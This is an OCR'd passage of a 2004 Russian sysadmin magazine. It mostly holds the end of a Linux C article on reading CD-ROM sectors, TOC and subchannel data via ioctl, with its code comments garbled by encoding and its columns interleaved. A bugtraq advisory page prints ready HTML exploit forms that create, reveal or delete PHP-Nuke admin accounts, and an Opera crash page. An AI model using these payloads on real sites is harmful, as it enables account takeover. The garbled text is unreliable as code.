/* Æä¸ì ãîòîâíîñòü óñòðîéñòâà ê âûïîëíåíèþ ïàêåòíîé êîìàíäû. cgc.cmd[9] =
0xF8; // èç ñåêòîðà ñ÷èòûâàòü âñå äàííûå
* Ïîëå data_direction áóäåò ñîäåðæàòü CGC_DATA_NONE, ò.ê. // (òàáë.99 INF-8010i)
* êîìàíäà íå òðåáóåò ïåðåäà÷è äàííûõ cgc.cmd[10] = 2; // ñ÷èòûâàòü äàííûå Q-ñóáêàíàëà
*/ // â îáùåì ïîòîêå äàííûõ
cgc.cmd[0] = GPCMD_TEST_UNIT_READY; // ñì. <linux/cdrom.h>
cgc.data_direction = CGC_DATA_NONE; printf("lba - %d\n", lba);
lba = __swab32(lba);
/* Ïîñûëàåì óñòðîéñòâó êîìàíäó */ memcpy((cgc.cmd + 2), (void *)&lba, 4);
ioctl(fd, CDROM_SEND_PACKET, &cgc);
// íàïðàâëåíèå äàííûõ – îò óñòðîéñòâà
/* Ôîðìèðóåì è ïîñûëàåì óñòðîéñòâó ïàêåòíóþ êîìàíäó, cgc.data_direction = CGC_DATA_READ;
* âûïîëíÿþùóþ îòêðûòèå ëîòêà CD-ROM. Êîìàíäà íå òðåáóåò cgc.buffer = blk_buff; // óêàçàòåëü íà áóôåð äëÿ äàííûõ
* ïåðåäà÷è äàííûõ, ïîëå data_direction ñîäåðæèò CGC_DATA_NONE cgc.buflen = CD_FRAMESIZE_RAW + QSCH_LEN; // ðàçìåð áóôåðà
*/ cgc.sense = &sense;
memset((void *)&cgc, 0, ↵ /* Îòïðàâëÿåì óñòðîéñòâó êîìàíäó */
sizeof(struct cdrom_generic_command)); if(ioctl(fd, CDROM_SEND_PACKET, &cgc) < 0) {
cgc.cmd[0] = GPCMD_START_STOP_UNIT; perror("ioctl");
cgc.cmd[4] = 0x2; printf("Sense key - 0x%02x\n", sense.sense_key);
cgc.data_direction = CGC_DATA_NONE; printf("ASC - 0x%02x\n", sense.asc);
printf("ASCQ - 0x%02x\n", sense.ascq);
ioctl(fd, CDROM_SEND_PACKET, &cgc);

№9(22), сентябрь 2004 79


программирование
return -1; вии, что поле Format содержит значение 10b. Формат дан-
} ных TOC при Format Field = 10b представлен на рис.13. Сле-
/* Çàïèñûâàåì â ôàéë sector äàííûå îñíîâíîãî êàíàëà */ дующая структура описывает формат записи TOC при
out_f = open("sector", O_CREAT|O_RDWR, 0600); Format = 10b:
write(out_f, blk_buff, CD_FRAMESIZE_RAW);
/* Â ôàéë qsch - äàííûå Q-ñóáêàíàëà */ struct toc {
out_f = open("qsch", O_CREAT|O_RDWR, 0600); __u8 snum; // íîìåð ñåññèè
write(out_f, blk_buff + CD_FRAMESIZE_RAW, QSCH_LEN); __u8 ctrl :4; // Control
__u8 adr :4; // ADR
/* Îòîáðàçèì êîîðäèíàòû ñåêòîðà, íàõîäÿùèåñÿ â çàãîëîâêå __u8 tno; // íîìåð òðåêà (âñåãäà 0)
* Header __u8 point; // POINT
*/ __u8 min; // AMIN
printf("Minute - %x\n", blk_buff[CD_SYNC_SIZE]); __u8 sec; // ASEC
printf("Second - %x\n", blk_buff[CD_SYNC_SIZE + 1]); __u8 frame; // AFRAME
printf("Frame - %x\n", blk_buff[CD_SYNC_SIZE + 2]); __u8 zero; // 0
printf("Mode - %d\n", blk_buff[CD_SYNC_SIZE + 3]); __u8 pmin; // PMIN
__u8 psec; // PSEC
close(fd); close(out_f); __u8 pframe; // PFRAME
return 0; } __attribute__ ((packed));
}

Полный листинг программы чтения RAW-секторов ком- Поле point определяет тип информации, которую содер-
пакт-диска с использованием системного вызова IOCTL жит запись TOC. Значение этого поля определяет назначение
находится в файле IOCTL/read_sector.c. остальных полей, таких как min, sec, frame, pmin, psec, pframe.
После запуска на выполнение программа сохранит дан- Считывание TOC выполняет функция read_toc():
ные основного канала в файле sector, данные Q-субканала –
в файле qsch и выведет значения координат сектора в MSF int read_toc()
{
формате, считанные из поля Header. Для сектора номер int i = 1;
1001 получим следующий результат: // áóôåð äëÿ õðàíåíèÿ ðåçóëüòàòîâ ÷òåíèÿ TOC
__u8 *data_buff;
/* Çàäàåì ðàçìåð îáëàñòè ïàìÿòè äëÿ õðàíåíèÿ äàííûõ ÒÎÑ.
* Ò.ê. çàðàíåå îáúåì äàííûõ íàì íå èçâåñòåí, òî çàäàäèì
* ìàñêèìàëüíîå çíà÷åíèå - 64 Êá
Результаты чтения данных Q-субканала программой */
__u16 buff_size = 0xFFFF;
read_sector зависят от используемой модели CD-ROM. Для __u16 toc_data_length = 0; // äëèíà çàïèñåé TOC
сравнения посмотрим на результаты чтения приводами __u32 lba;
int toc_entries = 0; // ÷èñëî çàïèñåé â TOC
TEAC и MITSUMI Q-субканала сектора номер 1001. struct cdrom_generic_command cgc;
struct request_sense sense;
struct toc *t;

Байты 7, 8 и 9 содержат координаты сектора в MSF- memset((void *)&cgc, 0, ↵


sizeof(struct cdrom_generic_command));
формате. Если пересчитать этот адрес в формат LBA, то memset(&sense, 0, sizeof(sense));
получится, что TEAC считывает «родной» Q-субканал сек-
/* Âûäåëÿåì ïàìÿòü äëÿ ñîäåðæèìîãî TOC */
тора, а MITSUMI читает Q-субканал соседа, 1002 сектора. data_buff = (__u8 *)malloc(buff_size);
Для изучения следующего примера понадобится ком- memset(data_buff, 0, buff_size);
пакт-диск, на котором записано несколько сессий. Наша /* Ôîðìèðóåì ïàêåòíóþ êîìàíäó äëÿ ÷òåíèÿ TOC */
задача – прочитать содержимое TOC этого диска при усло- cgc.cmd[0] = GPCMD_READ_TOC_PMA_ATIP;

Ðèñóíîê 14. Ôîðìàòû äàííûõ Q-ñóáêàíàëà Lead-In îáëàñòè (TOC)

80
программирование
cgc.cmd[2] = 2; // ïîëå Format Field = 10b /* Ïåðåñ÷èòûâàåì êîîðäèíàòû èç MSF â LBA ïðè ïîìîùè ìàêðîñà
cgc.sense = &sense; * MSF2LBA
cgc.data_direction = CGC_DATA_READ; */
cgc.buffer = data_buff; #define MSF2LBA(Min, Sec, Frame) \
cgc.buflen = buff_size; (((Min * 60 + Sec) * 75 + Frame) - 150)
buff_size = __swab16(buff_size); lba = MSF2LBA((t + i)->pmin, (t + i)->psec, ↵
memcpy((void *)(cgc.cmd + 7), (void *)&buff_size, 2); (t + i)->pframe);
printf("%u\n", lba);
/* Ïîñûëàåì êîìàíäíûé ïàêåò óñòðîéñòâó */ }
if(ioctl(fd, CDROM_SEND_PACKET, &cgc) < 0) { free(t);
perror("ioctl"); return 0;
printf("Sense key - 0x%02x\n", sense.sense_key); }
printf("ASC - 0x%02x\n", sense.asc);
printf("ASCQ - 0x%02x\n", sense.ascq);
Полный листинг программы чтения TOC находится в
return -1; файле IOCTL/read_toc_full.c.
}
Устанавливаем в устройство компакт-диск, на котором
/* Îïðåäåëÿåì ðàçìåð äàííûõ TOC */ создано 2 сессии, и запускаем на выполнение программу
memcpy(&toc_data_length, data_buff, 2);
toc_data_length = __swab16(toc_data_length); read_cd_full. Вывод направим в файл toc:
printf("TOC data length - %d\n", toc_data_length);
/* Âû÷èñëÿåì ÷èñëî çàïèñåé â ñîäåðæèìîì TOC (cì. ðèñ.13) */ # ./read_cd_full > toc
toc_entries = (toc_data_length - 2)/11;
printf("TOC entries - %d\n", toc_entries);
В результате в файле toc будут собраны данные Q-суб-
/* Íîìåð ïåðâîé è ïîñëåäíåé ñåññèè */ каналов всех Lead-In областей компакт-диска:
printf("First: %d\t", data_buff[2]);
printf("Last: %d\n", data_buff[3]);
TOC data length - 123
TOC entries - 11
/* Âûäåëÿåì ïàìÿòü äëÿ äàííûõ TOC, ðàçìåð ýòèõ äàííûõ óæå First: 1 Last: 2
* òî÷íî èçâåñòåí Entry Session Point Min Sec Frame PMin Psec PFrame LBA
*/ 0 1 A0 0 0 0 1 32 0 6750
t = (struct toc *)malloc(toc_data_length); 1 1 A1 0 0 0 1 0 0 4350
memset((void *)t, 0, toc_data_length); 2 1 A2 0 0 0 0 37 50 2675
3 1 1 0 0 0 0 2 0 0
4 1 B0 3 7 50 79 59 74 359849
/* Êîïèðóåì äàííûå TOC èç áóôåðà data_buff 5 1 C0 70 0 158 97 34 23 438923
* è îñâîáîæäàåì âûäåëåííóþ ïîä íåãî ïàìÿòü 6 2 A0 0 0 0 2 32 0 11250
*/ 7 2 A1 0 0 0 2 0 0 8850
memcpy((void *)t, data_buff + 4, toc_data_length); 8 2 A2 0 0 0 3 44 19 16669
free(data_buff); 9 2 2 0 0 0 3 9 50 14075
10 2 B0 5 14 19 79 59 74 359849
/* Îòîáðàæàåì ðåçóëüòàòû ÷òåíèÿ TOC */
printf("Entry\tSession\tPoint\tMin\tSec\ ↵ Проведем анализ полученных результатов (таблица 1).
tFrame\tPMin\tPsec\tPFrame\tLBA\n"); Для этого воспользуемся таблицей 131, которая приведе-
for(i = 0; i < toc_entries; i++) { на на стр. 175 спецификации INF-8020i (рис. 14).
printf("%d\t", i); Следующий пример – чтение данных Q-субканала сек-
printf("%d\t", (t + i)->snum);
printf("%X\t", (t + i)->point); торов компакт-диска. Для выполнения этой операции вос-
printf("%d\t", (t + i)->min); пользуемся связкой команд SEEK/READ SUB-CHANNEL.
printf("%d\t", (t + i)->sec);
printf("%d\t", (t + i)->frame); Команда SEEK перемещает оптический элемент к нужно-
printf("%d\t", (t + i)->pmin); му сектору, а READ SUB-CHANNEL производит считыва-
printf("%d\t", (t + i)->psec);
printf("%d\t", (t + i)->pframe); ние необходимой нам информации из этого сектора. Счи-
тывать мы будем данные о текущей позиции оптического
Òàáëèöà 1. Ðåçóëüòàòû ÷òåíèÿ TOC (Format Field = 10b)

№9(22), сентябрь 2004 81


программирование
элемента, другими словами, координаты сектора, над ко- /* Ôîðìèðóåì ïàêåòíóþ êîìàíäó */
торым элемент находится. Заодно мы посмотрим на точность cgc.cmd[0] = GPCMD_SEEK; // êîä êîìàíäû SEEK (0x2B)
cgc.sense = &sense;
позиционирования головки CD-ROM разных моделей – TEAC cgc.data_direction = CGC_DATA_NONE; // íåò îáìåíà äàííûìè
и MITSUMI. /* Êîîðäèíàòû ñåêòîðà */
Формат команды SEEK простой – байты 2-5 содержат lba = __swab32(lba);
координаты сектора в LBA-формате, на который мы хотим memcpy((void *)(cgc.cmd + 2), (void *)&lba, 4);
позиционировать оптический элемент. Формат команды if(ioctl(fd, CDROM_SEND_PACKET, &cgc) < 0) {
READ SUB-CHANNEL представлен на рис. 15. perror("ioctl");
printf("Sense key - 0x%02x\n", sense.sense_key);
printf("ASC - 0x%02x\n", sense.asc);
printf("ASCQ - 0x%02x\n", sense.ascq);
return -1;
}
return 0;
}

Следующая структура описывает формат блока данных


о текущей позиции оптического элемента (см. рис.16):

struct current_position {
__u8 dfc; // Data Format Code
__u8 ctrl :4; // Control
__u8 adr :4; // ADR
__u8 tno; // Track number
__u8 ino; // Index number
Ðèñóíîê 15. Ôîðìàò êîìàíäû READ SUB-CHANNEL __u32 a_addr; // Absolute CD-ROM Address
__u32 r_addr; // Track Relative CD-ROM Address
Для чтения данных Q-субканала бит SubQ устанавли- } __attribute__ ((packed)) cur_pos;
вается в 1. Для чтения текущей позиции оптического эле-
мента устройства поле Sub-channel Data Format должно Функция, выполняющая чтение данных о текущей пози-
содержать 01h. В результате выполнения команды устрой- ции оптического элемента устройства:
ство вернет блок данных следующего формата:
void read_subch()
{
// ðàçìåð çàïðàøèâàåìûõ äàííûõ
// (4 áàéòà çàãîëîâêà + 12 áàéò äàííûõ)
__u16 buff_size = 16;
// óêàçàòåëü íà áóôåð äëÿ äàííûõ Q-ñóáêàíàëà
__u8 *data_buff;
// ðàçìåð áëîêà äàííûõ Q-ñóáêàíàëà
__u16 sch_length = 0;
struct cdrom_generic_command cgc;
struct request_sense sense;
memset((void *)&cgc, 0, ↵
sizeof(struct cdrom_generic_command));
memset(&sense, 0, sizeof(struct request_sense));
/* Âûäåëÿåì ïàìÿòü */
data_buff = (__u8 *)malloc(buff_size);
memset(data_buff, 0, buff_size);

/* Ôîðìèðóåì ïàêåòíóþ êîìàíäó */


cgc.cmd[0] = GPCMD_READ_SUBCHANNEL; // êîä êîìàíäû
cgc.cmd[2] = 0x40; // áèò SUBQ óñòàíîâëåí – äàííûå
// Q-ñóáêàíàëà ñ÷èòûâàþòñÿ
cgc.cmd[3] = 1; // ÷èòàåì äàííûå î òåêóùåé ïîçèöèè
cgc.sense = &sense;
cgc.data_direction = CGC_DATA_READ; // íàïðàâëåíèå
// ïåðåäà÷è äàííûõ
Ðèñóíîê 16. Ôîðìàò áëîêà äàííûõ î òåêóùåé ïîçèöèè îïòè÷åñ- cgc.buffer = data_buff;
êîãî ýëåìåíòà cgc.buflen = buff_size;
Заголовок блока содержит длину считанных из устрой-
buff_size = __swab16(buff_size);
ства данных. Координаты текущей позиции оптического memcpy((void *)(cgc.cmd + 7), (void *)&buff_size, 2);
элемента находятся в поле Absolute CD-ROM Address.
if(ioctl(fd, CDROM_SEND_PACKET, &cgc) < 0) {
Функция, выполняющая позиционирование оптическо- perror("ioctl");
го элемента устройства на заданный сектор: printf("Sense key - 0x%02x\n", sense.sense_key);
printf("ASC - 0x%02x\n", sense.asc);
printf("ASCQ - 0x%02x\n", sense.ascq);
int seek(__u32 lba)
{ exit(-1);
struct cdrom_generic_command cgc; }
struct request_sense sense;
/* Ðàçìåð ñ÷èòàííûõ äàííûõ */
memset((void *)&cgc, 0, ↵ memcpy(&sch_length, data_buff + 2, 2);
sizeof(struct cdrom_generic_command)); sch_length = __swab16(sch_length);
memset(&sense, 0, sizeof(sense)); printf("Sub-channel data length - %d\n", sch_length);

82
программирование
memset((void *)&cur_pos, 0, 12); * òðåêà. Äëÿ ýòîãî èñïîëüçóåòñÿ ïîëå cdte_format
memcpy((void *)&cur_pos, data_buff + 4, 12); * ñòðóêòóðû struct cdrom_tocentry
*/
printf("Data format code - %d\n", cur_pos.dfc); toc.cdte_format = CDROM_LBA;
printf("ADR - %d\n", cur_pos.adr);
printf("Track number - %d\n", cur_pos.tno); /* Çàäàâàÿ â ïîëå cdte_track ñòðóêòóðû struct cdrom_tocentry
* ïîñëåäîâàòåëüíî íîìåðà òðåêîâ îò ïåðâîãî äî ïîñëåäíåãî,
/* Òåêóùàÿ ïîçèöèÿ îïòè÷åñêîãî ýëåìåíòà */ * ìû îïðåäåëÿåì èõ ñòàðòîâûå êîîðäèíàòû â ôîðìàòå LBA
cur_pos.a_addr = __swab32(cur_pos.a_addr); */
printf("Current position - %u\n", cur_pos.a_addr); for(i = FIRST; i <= LAST; i++) {
toc.cdte_track = i;
/* Îñâîáîæäàåì ïàìÿòü è âûõîäèì */ ioctl(fd, CDROMREADTOCENTRY, &toc);
free(data_buff);
return; printf("track: %d\t", i); // íîìåð òðåêà
} // LBA àäðåñ
printf("lba: %d\n", toc.cdte_addr.lba);
Полный листинг программы позиционирования оптичес- }
return 0;
кого элемента и чтения текущей позиции находится в фай- }
ле IOCTL/read_subch.c.
Результаты работы программы показали, что разные Полный листинг программы приведен в файле IOCTL2/
приводы выполняют команду позиционирования с разной get_cd_toc.c.
точностью. Из двух имеющихся в моём распоряжении при- Рассмотрим программу, которая каждые 2 секунды от-
водов лучший результат показал TEAC – из 30 попыток по- слеживает текущее положение оптического элемента, ото-
зиционирования на разные сектора не было зафиксирова- бражает координату текущего сектора (в форматах LBA и
но ни одного промаха. У MITSUMI картина прямо противо- MSF) и номер трека.
положная: из 30 попыток ни одного точного попадания в
заданный сектор, постоянные перелеты. Результаты рабо- #define CD_DEVICE "/dev/cdrom"
int main()
ты программы для разных типов привода находятся в ката- {
логе IOCTL/RESULT, файлы TEAC и MITSUMI. int fd, current_track;
Кроме спецификатора CDROM_SEND_PACKET, в фай- /* Êîîðäèíàòû òåêóùåãî ñåêòîðà íàõîäÿòñÿ â Q-ñóáêàíàëå.
ле <linux/cdrom.h> определён целый набор специализиро- * Äëÿ ÷òåíèÿ äàííûõ Q-ñóáêàíàëà èñïîëüçóåòñÿ ñïåöèôèêàòîð
* CDROMSUBCHNL, ñ÷èòàííûå äàííûå ïîìåùàþòñÿ â ñòðóêòóðó
ванных команд, выполняющих определенное действие и не * struct cdrom_subchnl (ñì. <linux/cdrom.h>)
требующих формирования командного пакета в том объе- */
struct cdrom_subchnl sc;
ме, который был нами рассмотрен в предыдущих приме-
рах. Это в значительной степени упрощает работу с уст- /* Îòêðûâàåì ôàéë óñòðîéñòâà */
fd = open(CD_DEVICE, O_RDONLY|O_NONBLOCK);
ройством. Например, команда для открытия и закрытия
лотка CD-ROM выглядит следующим образом: /* Ïðîâåðÿåì òèï êîìïàêò-äèñêà. Ýòî äîëæåí áûòü Audio-CD */
if(ioctl(fd, CDROM_DISC_STATUS) != CDS_AUDIO) {
printf("I need Audio_CD!\n");
ioctl(fd, CDROMEJECT); // îòêðûòü ëîòîê CD-ROM return 0;
ioctl(fd, CDROMCLOSETRAY); // çàêðûòü åãî }

Рассмотрим пример функции, которая считывает TOC /* Ñ÷èòûâàíèå êîîðäèíàò ïðîèçâîäèì â áåñêîíå÷íîì öèêëå */
for(;;) {
компакт-диска.
/* Çàäà¸ì ôîðìàò àäðåñà LBA è ñ÷èòûâàåì êîîðäèíàòû ñåêòîðà */
#define CD_DEVICE "/dev/cdrom" sc.cdsc_format = CDROM_LBA;
int read_toc() ioctl(fd, CDROMSUBCHNL, &sc);
current_track = sc.cdsc_trk;
{
int fd, i;
/* Îòîáðàæàåì äàííûå î òåêóùåì òðåêå è êîîðäèíàòå
* â ôîðìàòå LBA
/* Ñòðóêòóðà struct cdrom_tochdr ñîäåðæèò çàãîëîâîê */
* ñîäåðæèìîãî TOC, ñòðóêòóðà struct cdrom_tocentry –
* äåñêðèïòîð òðåêà. Îáå ñòðóêòóðû îïðåäåëåíû â ôàéëå printf("Track: %d\t", current_track);
printf("LBA: %d\t", sc.cdsc_absaddr.lba);
* <linux/cdrom.h>
*/
struct cdrom_tochdr hdr; /* Òî æå ñàìîå - äëÿ ôîðìàòà MSF */
sc.cdsc_format = CDROM_MSF;
struct cdrom_tocentry toc; ioctl(fd, CDROMSUBCHNL, &sc);
/* Îòêðûâàåì ôàéë óñòðîéñòâà */ printf("MSF: %d %d %d\n", ↵
sc.cdsc_absaddr.msf.minute, ↵
fd = open(CD_DEVICE, O_RDONLY|O_NONBLOCK); sc.cdsc_absaddr.msf.second, ↵
/* Ñ÷èòûâàåì çàãîëîâîê TOC */ sc.cdsc_absaddr.msf.frame);
memset((void *)&hdr, 0, sizeof(struct cdrom_tochdr)); /* Æäåì äâå ñåêóíäû è ïîâòîðÿåì. Âûõîä ïî Ctrl-C */
ioctl(fd, CDROMREADTOCHDR, &hdr);
sleep(2);
}
/* Ïîëå cdth_trk0 ñòðóêòóðû hdr ñîäåðæèò íîìåð ïåðâîãî return 0;
* òðåêà, à ïîëå cdth_trk1 – íîìåð ïîñëåäíåãî òðåêà.
* Îòîáðàçèì ýòè çíà÷åíèÿ }
*/
printf("First: %d\t", hdr.cdth_trk0); Полный текст программы находится в файле IOCTL2/
printf("Last: %d\n", hdr.cdth_trk1);
read_sch.c.
#define FIRST hdr.cdth_trk0 Теперь делаем вот что – в одной консоли запускаем
#define LAST hdr.cdth_trk1
проигрыватель аудиокомпакт-дисков (workbone, например),
/* Îïðåäåëèì ôîðìàò, â êîòîðîì ìû õîòèì ïîëó÷èòü êîîðäèíàòû а в другой – программу read_sch. Через каждые 10-15 се-

№9(22), сентябрь 2004 83


программирование
кунд воспроизведения переходим к следующему треку на cda.addr_format = CDROM_LBA; // ôîðìàò àäðåñà
компакте и смотрим на результаты работы read_sch. Полу- cda.nframes = 1; // ñêîëüêî ñåêòîðîâ ñ÷èòûâàåì çà îäíî
// îáðàùåíèå ê äèñêó
чается примерно следующая картина: cda.buf = (__u8 *)&buff[0]; // àäðåñ áóôåðà äëÿ
// ñ÷èòàííûõ äàííûõ
Track: 1 LBA: 0 MSF: 0 2 0
Track: 1 LBA: 150 MSF: 0 4 0
Track: 1 LBA: 301 MSF: 0 6 1
/* Öèêë ÷òåíèÿ ñåêòîðîâ */
Track: 1 LBA: 451 MSF: 0 8 1 for(i = start_lba; i < end_lba; i++) {
Track: 1 LBA: 602 MSF: 0 10 2 memset(buff, 0, sizeof(buff));
Track: 1 LBA: 753 MSF: 0 12 3 cda.addr.lba = i; // àäðåñ ñ÷èòûâàåìîãî ñåêòîðà
Track: 2 LBA: 23962 MSF: 5 21 37 printf("lba: %u\n", i);
Track: 2 LBA: 24112 MSF: 5 23 37
Track: 2 LBA: 24263 MSF: 5 25 38 /* Ñ÷èòûâàåì ñåêòîð c àóäèîäàííûìè è ìåíÿåì ìåñòàìè
Track: 2 LBA: 24414 MSF: 5 27 39
* ñîñåäíèå áàéòû
Track: 2 LBA: 24565 MSF: 5 29 40
Track: 3 LBA: 40191 MSF: 8 57 66
*/
Track: 3 LBA: 40342 MSF: 8 59 67 ioctl(fd, CDROMREADAUDIO, &cda);
Track: 3 LBA: 40492 MSF: 9 1 67 for(n = 0; n < CD_FRAMESIZE_RAW/2; n++)
Track: 3 LBA: 40643 MSF: 9 3 68 buff[n] = __swab16(buff[n]);
Track: 3 LBA: 40794 MSF: 9 5 69

и т. д. Результаты работы программы красноречиво свиде- /* Ñîõðàíÿåì ñ÷èòàííûé ñåêòîð â ôàéë */


write(out, (__u8 *)buff, CD_FRAMESIZE_RAW);
тельствуют о постоянном изменении текущей координаты. }
И наконец, последний пример, который мы рассмотрим close(fd); close(out);
в данной статье, – это еще одна функция, считывающая return 0;
треки с Audio-CD: }
Считанный трек сначала преобразуем в WAV-формат, а
int read_cdda_track() затем кодируем в Ogg Vorbis:
{
int fd, out, n;
__u32 i, start_lba, end_lba; # sox track.cdr track.wav
__u16 buff[CD_FRAMESIZE_RAW/2]; # oggenc track.wav -q 6 track.ogg
struct cdrom_tochdr hdr; Полный листинг программы чтения аудиотреков нахо-
struct cdrom_tocentry toc;
дится в файле IOCTL2/read_cdda_track.c.
/* Ñòðóêòóðà struct cdrom_read_audio èñïîëüçóåòñÿ âìåñòå
* ñ IOCTL-êîìàíäîé CDROMREADAUDIO (<linux/cdrom.h>)
*/ Информационные ресурсы
struct cdrom_read_audio cda; по данной теме:
/* Îòêðûâàåì óñòðîéñòâî */ 1. Кулаков В. Программирование дисковых подсистем. –
fd = open(CD_DEVICE, O_RDONLY|O_NONBLOCK); СПб.: Питер, 2002. – 768 с.:ил.
/* Îïðåäåëÿåì êîëè÷åñòâî òðåêîâ íà Audio-CD */ 2. Гук М. Аппаратные средства IBM PC. Энциклопедия, 2-е
memset((void *)&hdr, 0, sizeof(struct cdrom_tochdr)); изд. – СПб.: Питер, 2003. – 923 с.:ил.
ioctl(fd, CDROMREADTOCHDR, &hdr);
3. Гук М. Дисковая подсистема ПК. – СПб.: Питер, 2001.
printf("First: %d\t", hdr.cdth_trk0); 4. Касперски К. Статья «Лазерный диск с нулевым треком
printf("Last: %d\n", hdr.cdth_trk1);
как средство защиты от копирования», http://
#define FIRST hdr.cdth_trk0 kpnc.opennet.ru/_ZeroTrack.zip.
#define LAST hdr.cdth_trk1
5. Касперски К. Статья «Искажение TOC как средство
/* Ââîäèì íîìåð òðåêà, êîòîðûé ìû ñîáèðàåìñÿ ñ÷èòàòü, борьбы с несанкционированным копированием диска», –
* è ïðîâåðÿåì ïðàâèëüíîñòü ââåäåííîãî çíà÷åíèÿ
*/ Журнал «Системный администратор», №09, 2003 г.
printf("Enter track number: "); 6. Касперски К. Статья «Способы взаимодействия с дис-
scanf("%d", &n);
ком на секторном уровне», http://kpnc.opennet.ru/ATAPI.zip.
if((n < 1) || (n > LAST)) { 7. Introduction to CD and CD-ROM (with information on CD
printf("Wrong track number\n");
return -1; and CD-ROM formats, complete with diagrams and tables),
} http://www.disctronics.co.uk/downloads/tech_docs/
/* Çàäàåì ôîðìàò àäðåñà */ cdintroduction.pdf
toc.cdte_format = CDROM_LBA; 8. Descriptions of mastering and replication of CD and DVD
/* Îïðåäåëÿåì ñòàðòîâûé àäðåñ òðåêà (â LBA ôîðìàòå) */ discs with diagrams, http://www.disctronics.co.uk/
toc.cdte_track = n; downloads/tech_docs/replication.pdf
ioctl(fd, CDROMREADTOCENTRY, &toc);
start_lba = toc.cdte_addr.lba; 9. Comprising a comprehensive list of terms and words used
in connection with CDs and DVDs and the applications that
/* Êîíå÷íûé àäðåñ òðåêà. Åñëè âûáðàí ïîñëåäíèé òðåê íà äèñêå,
* òî íåîáõîäèìî îïðåäåëèòü íà÷àëî lead-out îáëàñòè. they support, http://www.disctronics.co.uk/downloads/
* Äëÿ ýòîãî â ïîëå íîìåðà òðåêà óêàçûâàåì 0xAA tech_docs/glossary.pdf
*/
if(n == LAST) toc.cdte_track = CDROM_LEADOUT; 10. CD-Recordable FAQ, http://www.cdrfaq.org.
else toc.cdte_track = n + 1; 11. www.google.com
ioctl(fd, CDROMREADTOCENTRY, &toc); 12. AT Attachment with Packet Interface Extension – (ATA/
end_lba = toc.cdte_addr.lba; ATAPI-4), www.t13.org
/* Ñ÷èòàííûé òðåê ñîõðàíèì â ôàéëå track.cdr */ 13. Information specification INF-8020i Rev 2.6. ATA Packet
out = open("track.cdr",O_CREAT|O_RDWR,0600); Interface for CD-ROMs SFF-8020i, http://www.stanford.edu/
/* Çàïîëíèì ïîëÿ ñòðóêòóðû struct cdrom_read_audio */ ~csapuntz/specs/INF-8020.PDF

84
bugtraq

Удаленное повышение привилегий Несколько уязвимостей в PHP-Nuke


в PHP-Nuke Программа: PHP-Nuke 7.4.
Программа: PHP-Nuke 7.4. Опасность: Высокая.
Опасность: Высокая. Описание: Две уязвимости обнаружены в PHP-Nuke в об-
Описание: Уязвимость обнаружена в PHP-Nuke в admin.php- работке некоторых административных команд. Удаленный
сценарии. Удаленный пользователь может создать учетную пользователь может просматривать информацию админи-
запись с административными привилегиями. стративной учетной записи и удалять административную
Удаленный пользователь может представить специаль- учетную запись.
но обработанный POST-запрос к admin.php, чтобы добавить Удаленный пользователь может представить специаль-
учетную запись пользователя с административными при- но обработанный POST-запрос, чтобы просматривать aid-
вилегиями: значение административной учетной записи. Пример:

<form name="mantra" method="POST" ↵ <form name="form1" method="POST" ↵


action="http://www.sitewithphpnuke.com/admin.php"> action="http://www.sitewithphpnuke.com/admin.php">
<p>USERNAME: <input type="hidden" name="admin" ↵
<input type="text" name="add_aid"> value="eCcgVU5JT04gU0VMRUNUIDEvKjox">
<br> <br>
NOME: <input type="hidden" name="add_radminsuper" value="1">
<input type="text" name="add_name"> <br>
<br> <input type="hidden" name="op" value="mod_authors">
PASSWORD: <input type="submit" name="Submit" value="Display">
<input type="text" name="add_pwd"> <br>
<br> </p>
E-MAIL: </form>
<input type="text" name="add_email">
<br>
<input type="hidden" name="admin" ↵ Также удаленный пользователь может представить спе-
value="eCcgVU5JT04gU0VMRUNUIDEvKjox"> циально обработанный POST-запрос, чтобы удалить адми-
<br>
<input type="hidden" name="add_radminsuper" value="1"> нистративную учетную запись. Пример:
<br>
<input type="hidden" name="op" value="AddAuthor"> <form name="form1" method="POST" ↵
</p> action="http://www.sitewithphpnuke.com/admin.php">
<p>
<input type="submit" name="Submit" value="Create Admin"> USERNAME: <input type="text" name="del_aid">
<br> <input type="hidden" name="admin" ↵
</p>
</form> value="eCcgVU5JT04gU0VMRUNUIDEvKjox">
<br>
<input type="hidden" name="add_radminsuper" value="1">
URL производителя: http://www.phpnuke.org. <br>
Решение: Способов устранения обнаруженной уязвимос- <input type="hidden" name="op" value="deladminconf">
<input type="submit" name="Submit" value="Delete Admin">
ти не существует в настоящее время. <br>
</p>
</form>
Удаленный отказ
в обслуживании в Opera URL производителя: http://www.phpnuke.org.
Программа: Opera 7.23 build 3227. Решение: Добавьте этот код в admin.php:
Опасность: Низкая.
Описание: Уязвимость обнаружена в браузере Opera в об- if ( !empty($HTTP_GET_VARS['op']) ) {
$op = $HTTP_GET_VARS['op'];
работке embed-тэга. Удаленный пользователь может со- }
здать HTML, который, когда будет загружен целевым if ( !empty($HTTP_POST_VARS['op']) ) {
$op = $HTTP_POST_VARS['op'];
пользователем, аварийно завершит работу браузера целе- }
вого пользователя.
Пример/Эксплоит: Удаленное или локальное выполнение
произвольного кода в Winzip
<html> Программа: WinZip 9.0 и более ранние версии.
<head>
<script language=javascript> Опасность: Высокая.
function dSend() { Описание: Несколько уязвимостей обнаружено в Winzip.
document.crash.text;
} Удаленный или локальный пользователь может выполнить
</script> произвольный код.
</head> Сообщается о нескольких обнаруженных уязвимостях,
<body onLoad="dSend()"> включая переполнения буфера. Дополнительные подроб-
<embed src="" type="CCCC" name="crash" > ности не раскрываются.
</embed> URL производителя: http://www.winzip.com/wz90sr1.htm.
</body>
</html> Решение: Установите обновленную версию данной про-
граммы (9.0 SR1): http://www.winzip.com/upgrade.htm.
URL производителя: http://www.opera.com.
Решение: Опера 7.21 неуязвима. Cоставил Александр Антипов

№9(22), сентябрь 2004 85


программирование

ОСОБЕННОСТИ ЗАПУСКА
ВНЕШНИХ КОМАНД
ИЗ ASP-СТРАНИЦ

ИВАН КОРОБКО
Создавая приложения на ASP, предназначенные для облег- всех примерах в данной статье будет использоваться
чения управления различными сервисами сети, програм- VBScript, поскольку он наиболее симпатичен автору. Каж-
мисты часто сталкиваются с необходимостью запускать из дый из этих примеров легко переписать на Jscript. Итак,
них приложения (BAT, VBS, EXE и т. д.). Читая документа- первая строка любого из сценариев на ASP выглядит сле-
цию компании Microsoft, понимаешь, что решить задачку дующим образом:
не представляет никакой сложности. Но существует ряд тон-
костей в запуске приложений из ASP-страниц, которые по- <%Script Language=”VBScript”%>
чему-то не описаны в документации. На практике сталки-
ваешься с тем, что сценарий должен работать, поскольку или
все написано правильно и встроенный обработчик ошибок
